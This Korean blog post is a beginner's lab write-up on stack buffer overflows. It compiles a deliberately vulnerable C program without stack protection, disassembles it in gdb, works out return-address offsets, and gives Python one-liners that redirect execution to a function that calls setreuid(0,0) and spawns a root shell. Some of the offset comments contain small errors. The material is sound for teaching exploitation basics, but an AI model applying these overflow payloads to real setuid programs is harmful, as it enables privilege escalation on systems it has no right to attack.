Try Attack/System Hacking[basic]

Overflow - 2

D4tai1 2018. 5. 24.
BOF.c 소스파일
#include<STDIO.H>
#include<STDLIB.H>
#include<UNISTD.H>
void goal() {
        puts("\n===================================");
        puts(" you got the shell! \n===================================");
        setreuid(0,0);
        system("/bin/sh");
}

void bp1() {
        char buf1[20];
        fgets(buf1, 40, stdin);
}

void bp2() {
        char buf2[30];
        fgets(buf2, 60, stdin);
}

void bp3() {
        char buf3[40];
        fgets(buf3, 80, stdin);
}

int main() {
        int choice;

        printf("1, 2, 3 ?" );
        scanf("%d ", &choice);

        switch(choice) {
        case 1:
                bp1();
                break;
        case 2:
                bp2();
                break;
        case 3:
                bp3();
                break;
        default:
                puts("0__0");
                break;
        }
}

 

시스템해킹은 shell을 얻는 것이 주 목적이다.

 

위 소스에서 goal() 함수를 실행시켜서 shell을 실행시키자!!

 

컴파일은 SSP(Stack Smashing Protection) 옵션을 제외하고 컴파일 한다.

 

SSP는 메모리보호기법 중 버퍼오버플로우를 보호하는 기법이다.

 

주로 canary를 이용하여 보호한다.

 

32비트 기준으로 예를 들면

 

0xffff0150

RET

0xffff014c

SFP

0xffff0148

Canary

0xffff0120 str[40]

 

 

이런식으로 SFP와 할당된 str문자열 공간 사이에 카나리가 존재하며

 

 

str에서 값을 크게 입력하여 ret주소를 변조하려해도 카나리 값이 변경되면 프로그램이 종료되는 방식이다.

 

컴파일은

 

gcc -m64 -fno-stack-protector BOF.c -o bof

 

(gdb) disassemble main

 

   0x0000000000400793 <+0>: push   rbp
   0x0000000000400794 <+1>: mov    rbp,rsp
   0x0000000000400797 <+4>: sub    rsp,0x10
   0x000000000040079b <+8>: mov    edi,0x400901
   0x00000000004007a0 <+13>: mov    eax,0x0
   0x00000000004007a5 <+18>: call   0x4005a0 <printf@plt>
   0x00000000004007aa <+23>: lea    rax,[rbp-0x4]
   0x00000000004007ae <+27>: mov    rsi,rax
   0x00000000004007b1 <+30>: mov    edi,0x40090b
   0x00000000004007b6 <+35>: mov    eax,0x0
   0x00000000004007bb <+40>: call   0x4005e0 <__isoc99_scanf@plt>
   0x00000000004007c0 <+45>: mov    eax,DWORD PTR [rbp-0x4]
   0x00000000004007c3 <+48>: cmp    eax,0x2
   0x00000000004007c6 <+51>: je     0x4007de <main+75>
   0x00000000004007c8 <+53>: cmp    eax,0x3
   0x00000000004007cb <+56>: je     0x4007ea <main+87>
   0x00000000004007cd <+58>: cmp    eax,0x1
   0x00000000004007d0 <+61>: jne    0x4007f6 <main+99>
   0x00000000004007d2 <+63>: mov    eax,0x0
   0x00000000004007d7 <+68>: call   0x40072a <bp1>
   0x00000000004007dc <+73>: jmp    0x400801 <main+110>
   0x00000000004007de <+75>: mov    eax,0x0
   0x00000000004007e3 <+80>: call   0x40074d <bp2>
   0x00000000004007e8 <+85>: jmp    0x400801 <main+110>
   0x00000000004007ea <+87>: mov    eax,0x0
   0x00000000004007ef <+92>: call   0x400770 <bp3>
   0x00000000004007f4 <+97>: jmp    0x400801 <main+110>
   0x00000000004007f6 <+99>: mov    edi,0x40090f
   0x00000000004007fb <+104>: call   0x400580 <puts@plt>
   0x0000000000400800 <+109>: nop
   0x0000000000400801 <+110>: mov    eax,0x0
   0x0000000000400806 <+115>: leave 
   0x0000000000400807 <+116>: ret     

 

(gdb) disassemble bp1

0x000000000040072a <+0>: push   rbp
   0x000000000040072b <+1>: mov    rbp,rsp
   0x000000000040072e <+4>: sub    rsp,0x20
   0x0000000000400732 <+8>: mov    rdx,QWORD PTR [rip+0x200927]    # 0x60106  <stdin@@GLIBC_2.2.5>
   0x0000000000400739 <+15>: lea    rax,[rbp-0x20]
   0x000000000040073d <+19>: mov    esi,0x28
   0x0000000000400742 <+24>: mov    rdi,rax
   0x0000000000400745 <+27>: call   0x4005c0 <fgets@plt>
   0x000000000040074a <+32>: nop
   0x000000000040074b <+33>: leave 
   0x000000000040074c <+34>: ret   

 

 

+4번 주소 : 스택포인터에 0x20 즉 32바이트만큼 할당

+8번 주소 : stdin 표준입출력으로 입력받는 함수의 주소

+15번 주소 : bp1()의 주소에서 0x20 즉 bp1-32부터 저장 [rbp-32 = buf1시작, rbp-12 = dummy시작]

+19번 주소 : 40바이트만큼 읽어오기

 

RET를 변조하기 위해서는

RET(8) + SFP(8) + dummy[12] + buf1[20]  -> 그러나 입력은 40바이트..

= SFP까지 채우면 이미 32바이트가 넘으므로 RET의 주소를 변경할 수 없다.

그래서 다음 함수를 이용한다.

 

(gdb) disassemble bp2

 

   0x000000000040074d <+0>: push   rbp
   0x000000000040074e <+1>: mov    rbp,rsp
   0x0000000000400751 <+4>: sub    rsp,0x20
   0x0000000000400755 <+8>: mov    rdx,QWORD PTR [rip+0x200904]      # 0x601060 <stdin@@GLIBC_2.2.5>
   0x000000000040075c <+15>: lea    rax,[rbp-0x20]
   0x0000000000400760 <+19>: mov    esi,0x3c
   0x0000000000400765 <+24>: mov    rdi,rax
   0x0000000000400768 <+27>: call   0x4005c0 <fgets@plt>
   0x000000000040076d <+32>: nop
   0x000000000040076e <+33>: leave 
   0x000000000040076f <+34>: ret   

 

+4번 주소 : 스택포인터에 0x20 즉 32바이트만큼 할당

+8번 주소 : stdin 표준입출력으로 입력받는 함수의 주소

+15번 주소 : bp2()의 주소에서 0x20 즉 bp2-32부터 저장 [rbp-32 = buf2시작, rbp-2 = dummy시작]

+19번 주소 : 60바이트만큼 읽어오기

 

RET를 변조하기 위해서는

RET(8) + SFP(8) + dummy[2] + buf2[30] -> 48바이트가 필요한데 60바이트 입력받기에 주소 변경가능.

->즉 40바이트만큼 채우고 8바이트 복귀주소 변경

 

 

 (gdb) disassemble bp3

   0x0000000000400770 <+0>: push   rbp
   0x0000000000400771 <+1>: mov    rbp,rsp
   0x0000000000400774 <+4>: sub    rsp,0x30
   0x0000000000400778 <+8>: mov    rdx,QWORD PTR [rip+0x2008e1]     # 0x601060  <stdin@@GLIBC_2.2.5>
   0x000000000040077f <+15>: lea    rax,[rbp-0x30]
   0x0000000000400783 <+19>: mov    esi,0x50
   0x0000000000400788 <+24>: mov    rdi,rax
   0x000000000040078b <+27>: call   0x4005c0 <fgets@plt>
   0x0000000000400790 <+32>: nop
   0x0000000000400791 <+33>: leave 
   0x0000000000400792 <+34>: ret   

 

+4번 주소 : 스택포인터에 0x30 즉 32바이트만큼 할당

+8번 주소 : stdin 표준입출력으로 입력받는 함수의 주소

+15번 주소 : bp3()의 주소에서 0x30 즉 bp3-48부터 저장 [rbp-48 = buf2시작, rbp-8 = dummy시작]

+19번 주소 : 60바이트만큼 읽어오기

 

RET를 변조하기 위해서는

RET(8) + SFP(8) + dummy[8] + buf3[40] -> 64바이트가 필요한데 80바이트 입력받기에 주소 변경가능.

->즉 56바이트만큼 채우고 8바이트는 복귀주소 변경

 

(gdb) dissassemble goal

   0x00000000004006f6 <+0>: push   rbp
   0x00000000004006f7 <+1>: mov    rbp,rsp
   0x00000000004006fa <+4>: mov    edi,0x400898
   0x00000000004006ff <+9>: call   0x400580 <puts@plt>
   0x0000000000400704 <+14>: mov    edi,0x4008c0
   0x0000000000400709 <+19>: call   0x400580 <puts@plt>
   0x000000000040070e <+24>: mov    esi,0x0
   0x0000000000400713 <+29>: mov    edi,0x0
   0x0000000000400718 <+34>: call   0x4005d0 <setreuid@plt>
   0x000000000040071d <+39>: mov    edi,0x4008f9
   0x0000000000400722 <+44>: call   0x400590 <system@plt>
   0x0000000000400727 <+49>: nop
   0x0000000000400728 <+50>: pop    rbp
   0x0000000000400729 <+51>: ret   

 

goal() 함수의 시작주소가 0x00000000004006f6 임을 확인

 

exploit 코드를 파이썬을 이용해 작성.

 

(python -c 'print "2\n"+ "a"*0x28+"\xf6\x06\x40\x00\x00\x00\x00\x00"'; cat) | ./bof

 

(python -c 'print "3\n"+ "a"*0x38+"\xf6\x06\x40\x00\x00\x00\x00\x00"'; cat) | ./bof

 

 

실행 전

chown root: bof

chmod 4755 bof

설정으로 실행하는 동안 최고관리자 권한을 주었다.

 

아래는 위 파이썬 코드로 실행시킨 결과이다.

 

 

 

'Try Attack > System Hacking[basic]' 카테고리의 다른 글

RTL(Return To Libc) 파라미터  (0) 2019.01.11
RTL(Return To Libc) 입력  (0) 2019.01.11
Overflow - 1  (0) 2018.05.20
gcc 메모리보호옵션  (0) 2018.05.18
gcc 사용방법  (0) 2018.05.18

댓글